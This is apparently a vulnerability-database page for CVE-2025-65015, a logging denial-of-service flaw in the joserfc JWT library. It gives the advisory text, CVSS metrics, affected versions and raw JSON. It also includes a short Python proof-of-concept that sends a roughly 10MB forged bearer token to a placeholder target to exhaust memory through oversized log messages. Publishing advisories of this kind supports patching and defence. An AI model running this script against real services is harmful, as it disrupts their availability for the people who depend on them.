Security Vulnerability Report
中文
CVE-2025-65015 CVSS 7.5 HIGH

CVE-2025-65015

Published: 2025-11-18 23:15:57
Last Modified: 2026-01-15 22:10:33

Description

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions from 1.3.3 to before 1.3.5 and from 1.4.0 to before 1.4.2, the ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload. In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it. This issue has been patched in versions 1.3.5 and 1.4.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:hsiaoming:joserfc:*:*:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:hsiaoming:joserfc:*:*:*:*:*:python:*:* - VULNERABLE
joserfc >= 1.3.3, < 1.3.5
joserfc >= 1.4.0, < 1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 import json # Generate a large JWT payload to trigger ExceededSizeError def generate_large_jwt(): header = base64.urlsafe_b64encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()).decode().rstrip('=') # Create a very large payload (10MB) large_payload_content = 'A' * (10 * 1024 * 1024) payload = base64.urlsafe_b64encode(large_payload_content.encode()).decode().rstrip('=') signature = base64.urlsafe_b64encode(b'demo').decode().rstrip('=') return f"{header}.{payload}.{signature}" large_jwt = generate_large_jwt() print(f"Generated JWT with payload size: {len(large_jwt)} bytes") # Attack: Send request with oversized JWT to trigger logging DoS target_url = "http://vulnerable-app.com/api/endpoint" headers = { "Authorization": f"Bearer {large_jwt}", "Content-Type": "application/json" } try: response = requests.get(target_url, headers=headers, timeout=30) print(f"Response status: {response.status_code}") except Exception as e: print(f"Request failed: {e}") # The attack causes: # 1. joserfc.jwt.decode() to load the full JWT into memory # 2. ExceededSizeError exception with full payload in message # 3. Python logging/Sentry processing extremely large log messages # 4. Memory exhaustion and potential service disruption

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65015", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:56.513", "lastModified": "2026-01-15T22:10:33.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions from 1.3.3 to before 1.3.5 and from 1.4.0 to before 1.4.2, the ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload. In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it. This issue has been patched in versions 1.3.5 and 1.4.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hsiaoming:joserfc:*:*:*:*:*:python:*:*", "versionStartIncluding": "1.3.3", "versionEndExcluding": "1.3.5", "matchCriteriaId": "B00A046D-0ED8-4DBA-9CB9-FBD848071D8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hsiaoming:joserfc:*:*:*:*:*:python:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.4.2", "matchCriteriaId": "25663E58-FE1C-44E1-9051-A2A388EB2595"}]}]}], "references": [{"url": "https://github.com/authlib/joserfc/commit/63932f169d924caffafa761af2122b82059017f7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/authlib/joserfc/commit/673c8743fd0605b0e1de6452be6cba75f44e466b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/authlib/joserfc/releases/tag/1.3.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/authlib/joserfc/releases/tag/1.4.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-frfh-8v73-gjg4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-frfh-8v73-gjg4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", ... (truncated)